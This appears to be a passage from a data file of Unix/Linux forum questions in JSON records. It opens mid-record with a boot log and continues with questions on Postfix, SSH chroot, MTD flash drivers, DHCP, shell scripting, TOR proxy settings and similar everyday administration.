/media/Programas. [ OK ] Reached target Local File Systems. Starting Security Auditing Service... Starting Recreate Volatile Files and Directories... Starting Tell Plymouth To Write Out Runtime Data... Starting Trigger Flushing of Journal to Persistent Storage... [ OK ] Started Security Auditing Service. [ OK ] Started Trigger Flushing of Journal to Persistent Storage. [ OK ] Started Tell Plymouth To Write Out Runtime Data. [ OK ] Started Recreate Volatile Files and Directories. [ OK ] Reached target System Initialization. [ OK ] Reached target Timers. Starting Manage Sound Card State (restore and store)... [ OK ] Started Manage Sound Card State (restore and store). [ OK ] Reached target Paths. [ OK ] Listening on Open-iSCSI iscsiuio Socket. [ OK ] Listening on Open-iSCSI iscsid Socket. [ OK ] Listening on RPCbind Server Activation Socket. [ OK ] Listening on PC/SC Smart Card Daemon Activation Socket. [ OK ] Listening on CUPS Printing Service Sockets. [ OK ] Listening on D-Bus System Message Bus Socket. [ OK ] Reached target Sockets. [ OK ] Reached target Basic System. Starting firewalld - dynamic firewall daemon... Starting Network Manager Script Dispatcher Service... Starting Hardware RNG Entropy Gatherer Daemon... [ OK ] Started Hardware RNG Entropy Gatherer Daemon. Starting irqbalance daemon... [ OK ] Started irqbalance daemon. Starting NTP client/server... Starting ABRT Automated Bug Reporting Tool... [ OK ] Started ABRT Automated Bug Reporting Tool. Starting ABRT Xorg log watcher... [ OK ] Started ABRT Xorg log watcher. Starting Builds and install new kmods from akmod packages... Starting ABRT kernel log watcher... [ OK ] Started ABRT kernel log watcher. Starting Machine Check Exception Logging Daemon... Starting Install ABRT coredump hook... Starting Builds and install new kmods from akmod packages... Starting Self Monitoring and Reporting Technology (SMART) Daemon... [ OK ] Started Self Monitoring and Reporting Technology (SMART) Daemon. Starting Login Service... Starting RealtimeKit Scheduling Policy Service... Starting Accounts Service... Starting Permit User Sessions... Starting RPC bind service... Starting CUPS Printing Service... [ OK ] Started CUPS Printing Service. Starting System Logging Service... [ OK ] Started System Logging Service. Starting D-Bus System Message Bus... [ OK ] Started D-Bus System Message Bus. [ OK ] Started Machine Check Exception Logging Daemon. [ OK ] Started Permit User Sessions. Starting Command Scheduler... [ OK ] Started Command Scheduler. Starting Job spooling tools... [ OK ] Started Job spooling tools. Starting Wait for Plymouth Boot Screen to Quit... [ OK ] Started Install ABRT coredump hook. [ OK ] Started RPC bind service. [ OK ] Started NTP client/server. [ OK ] Started RealtimeKit Scheduling Policy Service. [ OK ] Started Network Manager Script Dispatcher Service. [ OK ] Started Login Service. [ OK ] Started Builds and install new kmods from akmod packages. [ OK ] Started Builds and install new kmods from akmod packages. Starting The KDE login manager... [ OK ] Started The KDE login manager. [ OK ] Started Accounts Service. Starting Authorization Manager... What should I do to solve my problem? Sorry for my bad english. **Edit:** I can start without problems with GDM. The problem should be in KDM."} {"_id": "127343", "title": "\"install\" command as script", "text": "I'm working on a heavily modified Linux based OS targeted for a really specific environment - easy-to-use NAS systems. It does not provide any GUI, apart from a web interface, but it at least has SSH. I'm trying to run a manual package build (as far as \"./configure && make\" is manual), but it fails at one specific point - it cannot find the install command. As the platform misses a multitude of otherwise essential and default Linux commands, I'm not surprised by this, but by the fact that a good half- hour search resulted in no hits about how to replace it. Seriously, nobody ever thought about having a simple bash script that has the same functionality? So question is - how to replace \"install\"? Is there any script or executable that does the exact same, on x86/bromolow platform (or platform- independently)?"} {"_id": "127342", "title": "Text processing for words connected by hyphen", "text": "I have text files (*.txt) which I process, I want to find words connected by hyphen such as \"drug-associated\" or \"drug-linked\", \"drug-related\". I need your help to convert the first one to \"associated with drug\" and the second one convert it to \"linked with drug\" instead. In one file I could have many of those, one time it is \"associated\", \"linked\", \"related\" and could have other terms."} {"_id": "88693", "title": "Why is swappiness set to 60 by default?", "text": "I just read some stuff about swappiness on Linux. I don't understand why the default is set to 60. According to me this parameter should be set to 10 in order to reduce swap. Swap is on my hard drives so it us much slower than my memory. Why did they configure the kernel like that?"} {"_id": "120690", "title": "Can pf be used to modify HTTP Headers and Contents?", "text": "I'm looking at options to replace my router with something that offers me more options for content filtering and also content modification. One of the things that I want to do is to modify HTTP Requests, e.g. Add or Remove certain Headers or the contents of the body (e.g., to remove any references to `ga.js`). Also, I want to block access to certain sub-paths of a domain, e.g. block `twitter.com/widgets` without blocking the main `twitter.com` website (in which case a custom DNS that returns 0.0.0.0 would do the job) I'm wondering if PF on OpenBSD can do that, or if it's too low level and if I need a higher level tool like a proxy. The problem with using a proxy is that it's not transparent for clients and thus doesn't help e.g. protecting my phone while it's on my WiFi."} {"_id": "120696", "title": "Supply input to a program with a password prompt", "text": "Is there any Linux command which supplies multiple enter keys to another process which is running in a terminal till the other process dies? For example consider the command `yes ' ' | ./ssr-sim prepare`. I need a command on the LHS side of the pipe(`|`). For example instead of `yes ' '` on the left of `|`, another command which supplies multiple enter keys to the `./ssr-sim prepare` on the right side. I wanted to automate enter keys inside a shell script and the command `./ssr- sim prepare` produces output which asks for password multiple number of times and the user needs to manually press the `Enter` key every time (no need to give password here, only press `Enter` each time when it asks for password). I need to automate that pressing of enter key part. The command `yes ' ' | ./ssr-sim prepare` is not working."} {"_id": "120697", "title": "What exactly is the lwp and threads in solaris?", "text": "The book \"Solaris Internals\" says Solaris executes kernel threads for kernel-related tasks, such as interrupt handling, memory page management, device drivers, etc. For user-process execution, kernel threads have a corresponding LWP; these kernel threads are scheduled for execution by the kernel on behalf of the user processes I am a little confused about the words and below is my understanding In solaris, the \" **real thread** \" is the \" **kernel thread** \". The kernel threads can execute kernel-related tasks and user-related tasks. When execute user-related tasks, the kernel thread needs a data structure called LWP to provide the environment. So, the **user thread** and **LWP** are not the execution unit or thread at all. They are just data structres in the system. The **user thread** is just the user task needed to be executed which includes the user data and code. The LWP is the kernel data structure providing the kernel infomation. The real execution unit or flow is **kernel thread**. Provided my understanding is correct, in the early solaris where two-level thread model exists, many user threads can be bound to one lwp which means that in the underlying implementation of solaris the \" **many user thread** \" are really one thread(kernel thread) to the kernel or CPU and the only kernel thread executes the tasks in each user thread in turn. If the user thread is unbound it can not be executed. Am I right?"} {"_id": "77230", "title": "Phusion Passenger not working with Apache while installing redmine", "text": "I am trying to install redmine (which is a ruby app ) in my arch system. But I am not able to fire up the app as it gives me the error for phusion passenger. ![enter image description here](http://i.stack.imgur.com/as0Ko.jpg)"} {"_id": "81233", "title": "Postfix - unable to send mails to Internet (i.e. Gmail)", "text": "I've set up postfix (Debian) and it works fine. I can recieve mail and I can send them, but I can only send them to local (and local virtual) adresses. But when I try to send the mail for example to my Gmail account, I get this in syslog: Jun 30 18:34:44 vps postfix/smtpd[9087]: NOQUEUE: reject: RCPT from vps[77.93.223.122]: 554 5.7.1 : Relay access denied; from= to= proto=ESMTP helo= I've googled a lot but I did figure it out thought. I think that something is wrong with my* directives. Here are mine: myhostname = mail.xxx.cz alias_maps = hash:/etc/aliases alias_database = hash:/etc/aliases myorigin = /etc/mailname mydestination = xxx.cz, vps, localhost.localdomain, localhost relayhost = mynetworks = 127.0.0.0/8 [::ffff:127.0.0.0]/104 [::1]/128"} {"_id": "28845", "title": "Count distinct values of a field in a file", "text": "I have a file contains around million number of lines. In the lines I have a field called transactionid, which has repeatitive values. What I need to do is to count them distinctly. No matter of how many times a value is repeated, it should be counted only once. Can you help with a way."} {"_id": "126962", "title": "Substring failing in shell script", "text": "for file in *.csv do split -n 5 -d -a 1 \"$file\" \"$file\" for each in $(seq -w 2 3) do echo $each filestem=\"$file$each\" len_filestem=${#filestem} subs=substr(len_filestem,3,4) echo $subs echo $filestem #awk '{filename = \"wrd.\" int((NR-1)/10000) \".txt\"; print >> filename}' $file--$each awk -v filestem= \"{$filestem}\" '{filename = substr(filestem,3,5}; print >> filename}' $filestem done done Im trying to find the substring of a string but my script is failing in substr(len_filestem,3,4)"} {"_id": "118184", "title": "Sort a text file according to a character within a field", "text": "I have a file named : `newfile` which consist of the following data 1 AC BB CC 2 AB CC DD 3 CA BB CC 4 BE DD EE 5 BD AA AA I type the following command in bash to sort the data according to the second character, second field > sort -k3 newfile I expected the following results 3 CA BB CC 2 AB CC DD 1 AC BB CC 5 BD AA AA 4 BE DD EE why am i getting the following results and how am i suppose to solve according to the third character (ignoring the blank) 5 BD AA AA 1 AC BB CC 3 CA BB CC 2 AB CC DD 4 BE DD EE"} {"_id": "28849", "title": "Mint Linux Wireless Issues", "text": "as I understand it LMDE is built based upon Ubuntu; and I did not receive much help from the official Linux Mint forum, so I've decided to post here. My problem started yesterday, when I installed LMDE for the first time. Everything ran smoothly, up until I got to configuring my wireless. The first wireless network was a breeze to configure. I was able to join and it worked fine. That day, when I went to school... I found I was unable to actually join any other networks. If I selected a network in the list, it would unselect itself. I eventually diagnosed the problem as the fact that it was always trying to join my home network. The file at etc/NetworkManager/system-connections was labeled \"AUTO (My home network's name)\"... so, using 'sudo rm etc/NetworkManager/system-connections/\"Auto (My home network's name)\" ', I removed that file hoping it would fix my issue. What I found, however is that the problem has persisted through this \"fix\", and I can still not join any networks. I found the Network Connections app, and when I went to the \"Wireless\" tab, then hit the \"Add network\" button... all the options are blanked out. If I use the \"echo $UID\" prompt, I am told I am the first user (user 1000) on the disk... so I'm at a loss. Is there any way of reconfiguring my wireless files all over again, or regaining control of my Network Connections application?"} {"_id": "118180", "title": "Commercial support for CentOS", "text": "As you know CentOS is taken over by RedHat, so i boils out couple of points as mentioned here. * Will CentOS remain complete free as it was(is) before(now)? * Can we expect upgrades of CentOS in future, as and when RHEL new version is released.? * Will RHEL make it enterprise version? What are the organizations that provide commercial support for CentOS? Redhat has said they are not going to provide commercial support for CentOS."} {"_id": "118183", "title": "Which is the real PATH variable", "text": "On my office computer it seems like I've have two PATH variables. > $path : This is delimited by \" \" (Space) > > $PATH : This is delimited by \":\" (Colon) Though when I update one, the other one gets updated as well. Is this the normal behavior in Linux or is there something wierd going on in my machine? Should I keep them both, or delete one of them? **Edit:** I'm using csh, I found this because some of my colleagues were updating the \"path\" variable, while others did it with \"PATH\". Though I deleted all occurences of updating \"PATH\" in my .cshrc, it still appears when I try to echo them."} {"_id": "154432", "title": "Systemd Unit for reconnecting wireless on failure", "text": "I have a systemd service called conWlan0.service which establishes WiFi connection. Now I want to create another Unit which periodically checks the connection. Is this a reasonable start? [Unit] Description=... After=conWlan0.service OnFailure=conWlan0.service [Service] Type=simple ExecStart=/usr/bin/checkWiFi RestartSec=120 Restart=always The checkWifi script exits 0 if everything is correct and an error code otherwise. Any suggestions?"} {"_id": "155235", "title": "How to extract a list of user accounts deleted from the system over a period of 1 year?", "text": "I'm auditing a Unix system and I would like to know how many user accounts were created and deleted over a 1 year period. Is there some way of getting this data from the Unix system?"} {"_id": "155230", "title": "Redirect SSH user server side", "text": "I know that I can create shortcuts for specific users/servers on the client side via `~/.ssh/config` or `/etc/ssh/ssh_config`, but I would like to do something similar but on the server side. That is, when I issue on the client: ssh pub@name.server.top I am actually chrooted to /home/jon/pub on `name.server.top` where I will use sftp. In `/etc/ssh/sshd_config` I have seen examples as the following: Subsystem sftp internal-sftp Match user pub ChrootDirectory %h ForceCommand internal-sftp AllowTcpForwarding no Will also the following work? ChrootDirectory /home/jon/pub Is it possible to create the `pub` as a sort of virtual user? That is, the remote user logs as `pub` and his public key is in `/home/jon/.ssh/authorized_keys`, so without the hassle of creating a separate `/home/pub/.ssh/authorized_keys` or the `/home/pub` directory at all."} {"_id": "155232", "title": "NOR flash CFI MTD driver troubles with JFFS2 mtdblock", "text": "## Context I'm developing a linux 2.6.32 MTD driver for a NOR flash S29GL064N compatible with CFI command set 0002. My driver has the same mapping than the SBC_GXX but with only one partition used as data. Actually, the hardware contains two 8MB NOR flashs accessed through a 8 bits ISA bus via a CPLD that provides a physical addresses 16 KiB window (0xdc000-0xdffff) and two registers bytes (14 bits) for page selection. So the flashes are seen as a unique one in addressing. S29GL064N flash: IO:0x258-0x259 MEM:0xdc000-0xdffff S29GL064N flash: Found 1 x16 devices at 0x0 in 8-bit bank S29GL064N flash: Found 1 x16 devices at 0x800000 in 8-bit bank S29GL064N flash: CFI does not contain boot bank location. Assuming top. Creating 1 MTD partitions on \"S29GL064N flash\": 0x000000000000-0x000001000000 : \"S29GL64N flash partition\" As the flash should be used with JFFS2 file system, I have activated block device access. So I see the devices `/dev/mtd0` and `/dev/mtdblock0`. I can format in JFFS2 `flash_eraseall -j /dev/mtd0` and mount the device block `mount /dev/mtdblock0 /mnt/mtd -t jffs2`. Then I can use the partition to copy data to/from it. ## Problems: 1. **Half space taken into account using`df`** For instance, when copying a file of 2MB, the `df` sees 1MB used space while `du` proides the good size. # du -h /mnt/mtd/ 1.0M /mnt/mtd/ # df -h /dev/mtdblock0 16M 1.1M 15M 7% /mnt/mtd # cp tstfile_2M /mnt # du -h /mnt/mtd/ 3.0M /mnt/mtd/ # df -h /dev/mtdblock0 16M 2.1M 14M 13% /mnt/mtd 2. **Copying big file accross the two flashes crashes the system** If I copy small files (1 or 2 MB) while crossing the 8MB, there is no problem. If a big file, let's say 6MB is copied and crosses the two flashs, the system will crash: # du -h /mnt/mtd/ 5.0M /mnt/mtd/ # cp tstfile_6M /mnt/mtd BUG: unable to handle kernel paging request at 840f2c40 IP: [] __rmqueue+0xe3/0x2c0 *pde = 00000000 Oops: 0002 [#1] last sysfs file: /sys/devices/virtual/net/lo/operstate Modules linked in: Pid: 3601, comm: cp Not tainted (2.6.32.63-custom #16) EIP: 0060:[] EFLAGS: 00000083 CPU: 0 EIP is at __rmqueue+0xe3/0x2c0 EAX: c1398018 EBX: 0000000a ECX: 840f2c3c EDX: c045ca28 ESI: c045ca18 EDI: c13a7ff8 EBP: df9bfcc8 ESP: df9bfc90 DS: 007b ES: 007b FS: 0000 GS: 0033 SS: 0068 Process cp (pid: 3601, ti=df9be000 task=df950000 task.ti=df9be000) Stack: 00000000 00000002 00000000 c045c820 c1398000 00000001 df9bfd1c c0230a4d <0> 00000001 df9ac1d8 00000368 00000015 c045c820 c13a7ff8 df9bfd2c c0141a5c <0> 00000001 00000041 df185540 c045c83c 00000001 00000000 00000000 000201da Call Trace: [] ? deflate_fast+0x23d/0x270 [] ? get_page_from_freelist+0xdc/0x3a0 [] ? __alloc_pages_nodemask+0xd0/0x4f0 [] ? __do_page_cache_readahead+0xb2/0x1c0 [] ? ra_submit+0x28/0x40 [] ? ondemand_readahead+0xed/0x1b0 [] ? page_cache_async_readahead+0x63/0xa0 [] ? generic_file_aio_read+0x37a/0x620 [] ? do_sync_read+0xcc/0x110 [] ? __rcu_process_callbacks+0x69/0x350 [] ? autoremove_wake_function+0x0/0x50 [] ? irq_exit+0x2a/0x40 [] ? vfs_read+0x90/0x120 [] ? do_sync_read+0x0/0x110 [] ? sys_read+0x3d/0x70 [] ? syscall_call+0x7/0xb Code: 04 75 d5 ff 4d e0 8b 45 e0 39 45 d0 7e ba c7 45 cc 03 00 00 00 e9 4c ff ff ff 8b 55 cc 8b 04 d6 8d 48 e8 89 4d d8 8b 08 8b 50 04 <89> 51 04 89 0a c7 40 04 00 02 20 00 c7 00 00 01 10 00 0f ba 70 EIP: [] __rmqueue+0xe3/0x2c0 SS:ESP 0068:df9bfc90 CR2: 00000000840f2c40 ---[ end trace dfe13b27303ff46a ]--- Message from syslogd@debian at Fri Aug 8 02:13:57 2008 ... debian kernel: last sysfs file: /sys/devices/virtual/net/lo/operstate Message from syslogd@debian at Fri Aug 8 02:13:57 2008 ... debian kernel: Oops: 0002 [#1] Message from syslogd@debian at Fri Aug 8 02:13:57 2008 ... debian kernel: Process cp (pid: 3601, ti=df9be000 task=df950000 task.ti=df9be000) Message from syslogd@debian at Fri Aug 8 02:13:57 2008 ... debian kernel: Stack: Message from syslogd@debian at Fri Aug 8 02:13:57 2008 ... debian kernel: Call Trace: Message from syslogd@debian at Fri Aug 8 02:13:57 2008 ... debian kernel: Code: 04 75 d5 ff 4d e0 8b 45 e0 39 45 d0 7e ba c7 45 cc 03 00 00 00 e9 4c ff ff ff 8b 55 cc 8b 04 d6 8d 48 e8 89 4d d8 8b 08 8b 50 04 <89> 51 04 89 0a c7 40 04 00 02 20 00 c7 00 00 01 10 00 0f ba 70 Message from syslogd@debian at Fri Aug 8 02:13:57 2008 ... debian kernel: EIP: [] __rmqueue+0xe3/0x2c0 SS:ESP 0068:df9bfc90 Message from syslogd@debian at Fri Aug 8 02:13:57 2008 ... debian kernel: CR2: 00000000840f2c40 Killed ## Request I don't know how to validate my driver, the `mtd_test` module works only with NAND flashes. I didn't find why the system crashes on that kind of copy and not in other way. I am looking for advices to know how to address my problems."} {"_id": "155233", "title": "Vim Copy to System Clipboard without overwriting the defualt register(\")", "text": "When I use `\"+y` to copy to the system clipboard, the selected content is copied to the `+` register as well as the default(\") register. How can I ensure that the content is copied only to the `+` register without modifying the `\"` register? EDIT: I now understand that this is the intended behavior and any yanking will modify the default register. I still want to know whether there's a workaround for this. I have come with a naive solution for visual mode `vnoremap y :let @+=@*` and for single line in `nnoremap yy :let @+=getline('.') . \"\\n\"` But we will be missing many yank features. I hope someone provides a better solution."} {"_id": "155238", "title": "Find files in multiple directories taken from list in a file?", "text": "FreeBSD 9.2 RELEASE p2 I have a file `dirs.txt`. In this file is a new line separated directory list like so: /etc /home /home/goods/ I need to first find in all directory's files which have names like \"good\" or contain string \"(NODES_'TASK')\" and then copy all these files into the directory `/tmp`. I think must be something like: $ find $fromDirs.txt -type f -name 'good' | \\ grep -lr '\\(NODES_\\'TASK\\'\\)' $fromDirs.txt | > /tmp"} {"_id": "82952", "title": "Is it harmful to close a terminal window without properly exiting an application?", "text": "Using Ubuntu 12.04 LTS, my question is that if I started an application in a terminal window, then is there anything bad about just closing the terminal window without exiting the application properly first. For example, I use MATLAB. I open up a terminal and type matlab -nodisplay -nodesktop -nosplash and then run a bunch of scripts. Then I can either exit to end MATLAB and then close the terminal window or just close the terminal window. What really is the difference between these two methods? Does the second method somehow \"harm\" anything? Is the first method preferred? Why?"} {"_id": "25179", "title": "Is it possible assigning an separate LAN IP to service/daemon?", "text": "I'm using `pfsense` for prioritizing traffic around LAN. It works well for specified port, IP, network, but I'm having a problem with torrent (transmission bittorrent) outbound connections. The outbound connections are random and no filter can be specified to slow them down if needed. So I was thinking was it possible to specify a virtual IP just for the transmission daemon so I could use separate rules just for that IP? The example would be: Machine IP: 192.168.0.1 Transmission Daemon: 192.168.0.2 If not, what are the other solutions?"} {"_id": "25172", "title": "Netbeans has no display on my computer", "text": "I installed netbeans using `zypper install netbeans`. Trying to run it, I get the \"loading\" splash screen which is proceeded by a small popup which asks me if I want to register my copy and receive some benefits. Once that popup is gone, I'm left with a big beige screen and nothing else. It's almost like netbeans can't be displayed. Running `netbeans` from the command line does not give me any output or error messages. I also had this same issue when I was trying to install it using the `.sh` file found on their website. I'm running opensuse 11.4 with dwm as my window manager. I'm also using the AMD's fglrx graphics driver (I have also experienced this issue using the default open source driver shipped with opensuse). **EDIT** When trying to run `sudo netbeans`, I get: /usr/share/netbeans/6.8/bin/../platform11/lib/nbexec: WARNING: environment variable DISPLAY is not set And no display. This is not same behavior as when I launch as a regular user."} {"_id": "25173", "title": "How can I wrap text at a certain column size?", "text": "I know that I can use something like `cat test.txt | pr -w 80` to wrap lines to 80 characters wide, but that puts a lot of space on the top and bottom of the printed lines and it does not work right on some systems What's the best way to force a text file with long lines to be wrapped at a certain width? Bonus points if you can keep it from breaking words."} {"_id": "25176", "title": "Mount points in a chroot", "text": "I have some device (say `/dev/sda1`) mounted at `/home/user1`. I also have a full Linux system under `/tmp/chroot`, and the directory `/tmp/chroot/home` contains only one directory named `user2`. If I `chroot` inside `/tmp/chroot`, mount `/dev`, `/sys` and `/proc` there and issue the `mount` command (or `cat /proc/mounts`), I can still see `/dev/sda1` mounted at `/home/user1` whereas the directory `/home/user1` does not even exist anymore (in the chroot). I also tried with `jchroot` instead of `chroot` (this is a program with an interface similar to `chroot` but creating a new mount namespace and a new PID namespace), but the results are the same. Is this normal behaviour? It sounds weird that I can access information about mount points outside the chroot. Is there a way to make them disappear from `/proc/mounts`?"} {"_id": "101652", "title": "Inconsistency detected by ld.so: dl-version.c: 230: _dl_check_map_versions: Assertion `needed != ((void *)0)' failed", "text": "When I try to run a cracked Call of Duty 2 server (I must mention here I HAVE BOUGHT the game, only my friends not) on my Ubuntu 12.04 instance I get the following error: Inconsistency detected by ld.so: dl-version.c: 230: _dl_check_map_versions: Assertion `needed != ((void *)0)' failed! I use this cod2_lnxded: http://www.gamecopyworld.com/games/pc_call_of_duty_2.shtml#Call of Duty 2 v1.3 PRIVATE LINUX SERVER + NO-WAIT PATCH The way I am trying to start the server: ./cod2_lnxded +set fs_homepath srv +set fs_game fs +exec default_mp.cfg +set net_port 30126 +set dedicated 2 +set sv_maxclients 32 +set sv_punkbuster 1 +map_rotate I googled few hours and I found that ld.so handles dynamic directories. What does this exactly mean? The other thing I found a lot of bugs have reported about ld.so and adviced somewhere one should downgrade it, but I did not managed to do this yet because I don't really want to crash my system... In addition I must mention I successfully started an original CoD2 server, only cracked not working."} {"_id": "101651", "title": "Network connecting trouble shooting", "text": "I am trying to connect to the network of my school. With Windows 7 + IE it is not problem at all. I connect to it, no matter what web-page I try to reach, I get forwarded to http://94.245.115.209:8000/index.php then, have to login with a username/password and can navigate the web after login. Using Ubuntu 12 + Firefox or Konqueror I do not manage the second step. I think there is some security measure there that blocks me when the page tries to forward me after I input my username/password. There is no pop-up blocker or pop-ups at all and the browsers are configured to run any javascript. What else can I set to get rid of this problem?"} {"_id": "140019", "title": "xtightvnc through ssh gateway -- connection refused", "text": "Following setup: homepc -> gateway -> workpc workpc:~$ tightvncserver :12 homepc:~$ ssh -N gatewayuser@gateway -L 1212:workpc:5912 Now I try to connect via homepc:~$ xtightvncviewer localhost:1212 xtightvncviewer: VNC server closed connection I also get the output for the tunnel channel 2: open failed: connect failed: Connection refused Any ideas? I searched the web, but didn't get it working with those as I didn't find the very same setup.."} {"_id": "82599", "title": "getting \"//\" after the URL", "text": "I'm running nginx web server. I have not written any rule to redirect abc.com to www.abc.com, I have just added both in server_name directive which looks like, server_name abc.com www.abc.com; My doubt is, when I hit the URL in browser, like abc.com it redirect to www.abc.com//. What does this \"//\" means ? Do I need to change anything in my nginx conf file ?"} {"_id": "82598", "title": "How do I write a retry logic in script to keep retrying to run it upto 5 times?", "text": "I want to write logic in shell script which will retry it to run again after 15 sec upto 5 times based on **_\"status code=FAIL\"_** if it fails due to some issue."} {"_id": "82595", "title": "System proxy settings not taking effect on Kali (debian 6)", "text": "I'm in the process of trying to configure TOR on a Kali installation, as a system-wide SOCKS proxy. I just did this successfully on Ubuntu, and it worked like a charm. I installed TOR & Vidalia from the Debian repositories, started the TOR service using `service tor start`, and checked to see that my computer was listening on the default port, `9050`, for SOCKS connections to be routed through the TOR service; which it was. Vidalia tells me I'm connected to the TOR network. The problem is the Network -> Proxy section of the settings manager in Kali. I can enter in the necessary information to connect to the local SOCKS proxy, but there is no 'apply' button or anything to that effect. I have entered the information, hit enter, exited out (and when I go back, it is still there) of the settings manager, restarted the `networking` service, etc., but I have not been able to get the proxy settings to take effect. This worked beautifully in Ubuntu, I entered the SOCKS settings in the settings manager and hit 'apply', and all traffic was being routed through the TOR network. Any ideas?"} {"_id": "82597", "title": "Where does Firefox store its cookies on Linux?", "text": "Where does Firefox store cookies in Linux? I searched everywhere but did not find anything."} {"_id": "82591", "title": "install a kernel module into BeagleBoard (BB)", "text": "I want to install a kernel module (For example \"Hello world\") on the BeagleBoard(BB). (The installed OS on the BB is an Ubuntu Linux). If anybody already worked on this could you suggest me a step by step instruction? Any suggestions are also welcome."} {"_id": "10813", "title": "How to configure DHCP so that boot is completed even without a DHCP server?", "text": "I have configured /etc/network/interface like this: auto lo eth0 iface lo inet loopback iface eth0 inet dhcp But when a lease cannot be obtained, the booting is not completed. Is it possible to leave DHCP enabled but, in case a DHCP lease is not achieved, still complete the boot (so that a new network configuration can be performed)?"} {"_id": "10812", "title": "Module Stacking in Linux device drivers", "text": "I am trying my hand with Linux, just come across the concept of module stacking. It can be used to use symbol exported by other Modules. Means we can use something already made in some module so we do not have to do something that is already done. But still I am not getting where in real-time we see this type of concept with Linux. I am following the same link from the o'reilly book - http://www.makelinux.net/ldd3/chp-2-sect-5.shtml Stacking in the parallel port subsystem is shown in Figure 2-2; I am not able to understand this figure? Can you just give SOME REALTIME EXAMPLE APPLICATION where we can use concept of module stacking, which will increase my vision horizon?"} {"_id": "116962", "title": "Character encoding issue with my linux install?", "text": "I just installed Ubuntu 12.04.4 64 bits, all seemed to be ok, when I started to work on console I noticed: * that I couldn't get some accented characters typed in to the console, for example, if I tried to type _\u00e9_ I would get a _?_ * That neither a `ls` or any other unix commands output would display such characters properly. * _ANSIX3.4-1968_ appeared as default character encoding in terminal, so: * I changed the character encoding to UTF-8 at _Set Character Encoding_ option in Terminal menu. I can type these special characters properly but can't get other commands to output in a correct way. And I have to change this every time I open a new console. When I install anything I see this among the outputs and log info: perl: warning: Setting locale failed. perl: warning: Please check that your locale settings: LANGUAGE = \"en_US:en\", LC_ALL = (unset), LC_TIME = \"es_MX.UTF-8\", LC_MONETARY = \"es_MX.UTF-8\", LC_ADDRESS = \"es_MX.UTF-8\", LC_TELEPHONE = \"es_MX.UTF-8\", LC_NAME = \"es_MX.UTF-8\", LC_MEASUREMENT = \"es_MX.UTF-8\", LC_IDENTIFICATION = \"es_MX.UTF-8\", LC_NUMERIC = \"es_MX.UTF-8\", LC_PAPER = \"es_MX.UTF-8\", LANG = \"en_US.UTF-8\" are supported and installed on your system. perl: warning: Falling back to the standard locale (\"C\"). locale: Cannot set LC_ALL to default locale: No such file or directory Also if I do a typo at any command working from console I get: Sorry, command-not-found has crashed! Please file a bug report at: https://bugs.launchpad.net/command-not-found/+filebug Please include the following information with the report: command-not-found version: 0.2.44 My settings at install were only English language and Spanish Keyboard layout. What could it have happened? And how can I fix it _permanently_?"} {"_id": "10817", "title": "\"lsmod |grep audio\" doesn't return anything?", "text": "I am running Debian Squeeze. I installed and removed Gnome3 and reinstalled Gnome2.x (epic fail and stupidity) and in the process I have lost audio, `lspci` returns following # lspci | grep Audio 00:1b.0 Audio device: Intel Corporation 82801I (ICH9 Family) HD Audio Controller (rev 03) But lsmod doesn't return any thing. $ lsmod |grep audio Any idea what could be wrong? Here is an update, I tried to install whatever possible package was removed by studying `/var/log/dpkg.log`. This fixed my other issues like no right click on desktop and blunt looking buttons etc. Now I have everything in order but sound is missing. I don't see sound section in `gnome-control-center`. Here are some findings: kumar@debian-box:/$ lspci | grep Audio 00:1b.0 Audio device: Intel Corporation 82801I (ICH9 Family) HD Audio Controller (rev 03) kumar@debian-box:/$ lsmod |grep audio kumar@debian-box:/$ lsmod |grep snd kumar@debian-box:/$ lsmod |grep sound kumar@debian-box:/$ cat alsa-base.conf # autoloader aliases install sound-slot-0 /sbin/modprobe snd-card-0 install sound-slot-1 /sbin/modprobe snd-card-1 install sound-slot-2 /sbin/modprobe snd-card-2 install sound-slot-3 /sbin/modprobe snd-card-3 install sound-slot-4 /sbin/modprobe snd-card-4 install sound-slot-5 /sbin/modprobe snd-card-5 install sound-slot-6 /sbin/modprobe snd-card-6 install sound-slot-7 /sbin/modprobe snd-card-7 # Cause optional modules to be loaded above generic modules install snd /sbin/modprobe --ignore-install snd && { /sbin/modprobe --quiet snd-ioctl32 ; /sbin/modprobe --quiet snd-seq ; } install snd-rawmidi /sbin/modprobe --ignore-install snd-rawmidi && { /sbin/modprobe --quiet snd-seq-midi ; : ; } install snd-emu10k1 /sbin/modprobe --ignore-install snd-emu10k1 && { /sbin/modprobe --quiet snd-emu10k1-synth ; : ; } # Prevent abnormal drivers from grabbing index 0 options bt87x index=-2 options cx88_alsa index=-2 options snd-atiixp-modem index=-2 options snd-intel8x0m index=-2 options snd-via82xx-modem index=-2 # Keep snd-pcsp from beeing loaded as first soundcard options snd-pcsp index=-2 # Keep snd-usb-audio from beeing loaded as first soundcard options snd-usb-audio index=-2 Hope this helps in helping me. Its really hard for me to concentrate w/out headphones :( Last update, I fixed it using `sudo modprobe snd-hda-intel`, it seems I messed up kernel headers."} {"_id": "136231", "title": "Server won't boot, kernel panic - not syncing", "text": "After a reboot of a CentOS 6.2 server we are getting a kernel panic with the following error: Kernel panic - not syncing: Attempted to kill init! Panic occurred, switching back to text console When passing **init=option selinux=0** to the kernel at boot the server will boot without a problem. I have tried searching for what init=option does but I have not been able to find any recourses explaining it. * Could someone explain what this parameter does? * Also, as this is a production server are there any negatives/risks in running with the init=option? I have tried to remake the initramfs via dracut which did not work and received the above error upon boot. As this is a clustered server and the primary server should be identical I have copied the /boot drive from the other server but this did not solve the problem either. (The other server does not have this behavior) Restoring /boot from backup did not work either. Could you please help me investigate this problem * What causes this kernel panic? * How would you go about resolving this issue? * What logs (if any) would tell you more information? * As this is an older install, would an update/upgrade potentially fix this issue? I would also like to add that the only other possible related issue was that the root disk which was raid mirrored failed and was replaced before this happened. Thanks for your help!"} {"_id": "10815", "title": "\"which\" command difference", "text": "What is the difference between `(unix-system \u201cwhich [name])` and `which [name]` commands. For example when I use the `(unix-system \u201cwhich visual_elite)` command I get the following result: /home/vhdl/edatools/mentor/visualelite/VisualElite-4.2.1/Linux2.4/bin/visual_elite When I do the same on the command line using `which visual_elite` I get enidl-atlas-schur <76> # which visual_elite visual_elite is /home/vhdl/edatools/mentor/visualelite/VisualElite-4.2.1/visual_elite Why do I have this difference?"} {"_id": "10814", "title": "What is the \"/usr/local/src\" folder meant for?", "text": "I wanted to put my work files (code) in `/usr/local/src`, but I think it's already a folder that has some other semantic meaning. What is that? Should I put source code there, or is there a better place? **Edit** - I am the sole user and admin of the machine, and I don't want to use my home directory because it's on an NFS drive."} {"_id": "10819", "title": "How to execute a shell command from a \"starter\"?", "text": "I would like to execute a command by 